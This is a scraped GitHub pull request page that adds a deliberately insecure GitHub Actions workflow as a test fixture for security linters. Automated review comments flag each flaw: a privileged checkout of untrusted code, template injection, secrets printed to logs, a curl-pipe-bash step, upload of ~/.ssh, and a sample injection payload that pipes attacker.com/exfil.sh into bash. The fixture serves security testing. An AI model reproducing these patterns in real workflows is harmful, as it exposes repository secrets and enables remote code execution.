Preview/Zizmor #105

coderabbitai · 2026-06-19T15:42:40Z

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: pull_request_target with write-all permissions enables supply chain attacks.

This combination allows any attacker to open a PR from a fork and execute code with full write access to the repository, including secrets access. Even though line 1 marks this as a test fixture, the workflow is active and will execute when triggered.

If this is truly for testing security tooling (like zizmor), disable the workflow entirely by renaming the file to .yml.disabled or add a condition that always evaluates to false:

jobs: bad: if: false # Prevent accidental execution

🧰 Tools

🪛 zizmor (1.25.2)

[error] 2-8: use of fundamentally insecure workflow trigger (dangerous-triggers): pull_request_target is almost always used insecurely

(dangerous-triggers)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 2 - 10, The workflow file `.github/workflows/actions.yml` contains a critical security vulnerability with the combination of `pull_request_target` trigger and `permissions: write-all`, which allows arbitrary code execution with full repository access from forked PRs. To fix this, either rename the file to `.yml.disabled` to completely disable it, or add an `if: false` condition to the jobs section to prevent any accidental execution while keeping the file in place for reference or testing purposes.

Source: Linters/SAST tools

coderabbitai · 2026-06-19T15:42:40Z

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: Privileged checkout of untrusted PR code.

Checking out github.event.pull_request.head.ref in a pull_request_target workflow runs attacker-controlled fork code with the base repository's secrets and write permissions. With persist-credentials: true, the attacker can also push to protected branches.

This is the canonical GitHub Actions privilege escalation pattern.

🧰 Tools

🪛 zizmor (1.25.2)

[error] 20-20: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 20 - 23, The actions/checkout@v4 step is performing a privileged checkout of untrusted pull request code with credentials persistence enabled, creating a privilege escalation vulnerability. Remove the `ref: ${{ github.event.pull_request.head.ref }}` parameter to avoid explicitly checking out attacker-controlled code from forks, and change `persist-credentials: true` to `persist-credentials: false` to prevent attackers from pushing to protected branches. This ensures the workflow only checks out the base branch code unless explicitly needed for a safe, authenticated operation.

Source: Linters/SAST tools

coderabbitai · 2026-06-19T15:42:41Z

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Pin actions to commit SHAs to prevent supply chain attacks.

Using version tags (v4, latest) instead of commit SHAs allows action maintainers (or attackers who compromise the action repository) to silently modify the code your workflow executes.

Pin actions to full commit SHAs:

- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2 - uses: docker://alpine@sha256:... # pin to digest

Also applies to: 30-30, 54-54

🧰 Tools

🪛 zizmor (1.25.2)

[error] 20-20: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

[error] 25-25: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 20 - 27, Replace all version tag references with pinned commit SHAs to prevent supply chain attacks. Update the actions/checkout action (currently using `@v4`) to use its full commit SHA with a comment noting the version, update the actions/setup-node action (currently using `@v4`) to its full commit SHA with version comment, and pin the docker://alpine image (currently using latest) to a specific digest SHA instead of the latest tag. Apply these same pinning changes to all other action references throughout the file at the locations mentioned in the review comment.

Source: Linters/SAST tools

coderabbitai · 2026-06-19T15:42:41Z

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Cache poisoning via attacker-controlled cache key.

Using github.event.pull_request.title as a cache key allows attackers to inject malicious dependencies into the cache. An attacker can craft a PR title to match a legitimate cache key, poisoning node_modules for future workflow runs.

Cache keys should use trusted, deterministic values like lockfile hashes:

key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}

🧰 Tools

🪛 zizmor (1.25.2)

[error] 30-30: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 29 - 33, The cache key in the "Cache untrusted dependency path" step is using github.event.pull_request.title which is attacker-controllable input that can be exploited to poison the node_modules cache with malicious dependencies. Replace the key property value with a deterministic, trusted value based on the lockfile hash instead, using the pattern ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} to ensure cache keys are based on actual dependency state rather than user-controlled PR titles.

coderabbitai · 2026-06-19T15:42:41Z

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: Template injection enables arbitrary code execution.

Lines 37-38 expand untrusted input (pull_request.title, head_ref) directly into shell commands before execution. An attacker can inject shell commands via a malicious PR title like "; curl attacker.com/exfil.sh | bash #.

Line 42 explicitly executes user-controlled input—this is intentional RCE.

Pass untrusted values through environment variables instead:

- name: Safe template usage env: PR_TITLE: ${{ github.event.pull_request.title }} HEAD_REF: ${{ github.head_ref }} run: | echo "PR title: $PR_TITLE" echo "Branch: $HEAD_REF"

🧰 Tools

🪛 actionlint (1.7.12)

[error] 36-36: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🪛 zizmor (1.25.2)

[error] 37-37: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

[error] 38-38: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

[error] 42-42: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 35 - 42, The workflow has two critical security vulnerabilities where untrusted GitHub context values are directly expanded into shell commands. In the "Template injection via PR title" step, the github.event.pull_request.title and github.head_ref are directly injected into the echo command using template syntax which allows command injection. Similarly, the "Run user-controlled input" step directly executes github.event.inputs.cmd. Fix both steps by defining the untrusted values as environment variables (using env: property) and then referencing those environment variable names in the shell commands instead of using template expansion syntax. This prevents shell metacharacters in the input from being interpreted as commands.

Source: Linters/SAST tools

coderabbitai · 2026-06-19T15:42:41Z

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: Explicit secret exfiltration to logs.

Printing secrets to workflow logs exposes them to anyone with read access. While GitHub attempts to mask secrets, this can be bypassed with encoding (base64, hex) or character-by-character output.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 44 - 47, Remove the step named "Leak secrets into logs" or delete the run block containing the echo commands that output AWS_SECRET_ACCESS_KEY and GH_TOKEN to the workflow logs. These echo statements expose sensitive credentials to anyone with read access to the logs, regardless of GitHub's secret masking attempts. Delete the entire step that contains the echo statements printing these environment variables.

coderabbitai · 2026-06-19T15:42:41Z

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: Remote code execution via curl | bash.

Downloading and executing a remote script without integrity verification exposes the workflow to supply chain attacks. If example.com is compromised or traffic is intercepted, arbitrary code runs with repository write access.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 49 - 51, The step named "Dangerous curl bash" directly pipes a remote script to bash without verifying its integrity, creating a critical supply chain attack vulnerability. Replace this approach by downloading the script first and verifying its integrity using a checksum or signature before execution, or use a trusted GitHub Action instead. At minimum, implement checksum verification by downloading both the install script and its checksum file, then validating the checksum before piping to bash, ensuring the script has not been tampered with during transmission.

coderabbitai · 2026-06-19T15:42:41Z

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: SSH credential exfiltration via artifact upload.

Uploading ~/.ssh as a workflow artifact exposes any SSH private keys present on the runner. Combined with the earlier checkout step that enables persist-credentials, this could include deploy keys or other sensitive credentials accessible to anyone who can download workflow artifacts.

🧰 Tools

🪛 zizmor (1.25.2)

[error] 54-54: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/actions.yml around lines 53 - 57, The "Upload secrets as artifact" step is uploading the ~/.ssh directory as a workflow artifact, which exposes SSH private keys to anyone with access to the repository's artifacts. Remove this step entirely, or if artifact upload is necessary, modify the path to exclude sensitive credential files (private keys like id_rsa, id_ed25519, etc.) and only include non-sensitive public key files if needed.

-Original file line number
+Diff line change
@@ -0,0 +1,57 @@
+    # Intentionally insecure test fixture. Do not use in production.
+    on:
+      pull_request_target:
+      workflow_dispatch:
+        inputs:
+          cmd:
+            required: true
+            default: "echo hello"
+    permissions: write-all
+    jobs:
+      bad:
+        runs-on: ubuntu-latest
+        env:
+          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        steps:
+          - uses: actions/checkout@v4
+            with:
+              persist-credentials: true
+              ref: ${{ github.event.pull_request.head.ref }}
+          - uses: actions/setup-node@v4
+          - uses: docker://alpine:latest
+          - name: Cache untrusted dependency path
+            uses: actions/cache@v4
+            with:
+              path: node_modules
+              key: ${{ github.event.pull_request.title }}
+          - name: Template injection via PR title
+            run: |
+              echo "PR title: ${{ github.event.pull_request.title }}"
+              echo "Branch: ${{ github.head_ref }}"
+          - name: Run user-controlled input
+            run: |
+              ${{ github.event.inputs.cmd }}
+          - name: Leak secrets into logs
+            run: |
+              echo "AWS key is $AWS_SECRET_ACCESS_KEY"
+              echo "Token is $GH_TOKEN"
+          - name: Dangerous curl bash
+            run: |
+              curl https://example.com/install.sh | bash
+          - name: Upload secrets as artifact
+            uses: actions/upload-artifact@v4
+            with:
+              name: secrets
+              path: ~/.ssh

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Preview/Zizmor #105

Uh oh!

Diff view

Diff view

There are no files selected for viewing

coderabbitai Bot Jun 19, 2026

Uh oh!

coderabbitai Bot Jun 19, 2026

Uh oh!

coderabbitai Bot Jun 19, 2026

Uh oh!

coderabbitai Bot Jun 19, 2026

Uh oh!

coderabbitai Bot Jun 19, 2026

Uh oh!

coderabbitai Bot Jun 19, 2026

Uh oh!

coderabbitai Bot Jun 19, 2026

Uh oh!

coderabbitai Bot Jun 19, 2026

Uh oh!

Uh oh!

Preview/Zizmor #105

Are you sure you want to change the base?

Uh oh!

Preview/Zizmor #105

Uh oh!

Uh oh!

Diff view

Diff view

There are no files selected for viewing

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!

coderabbitai Bot Jun 19, 2026

Choose a reason for hiding this comment

Uh oh!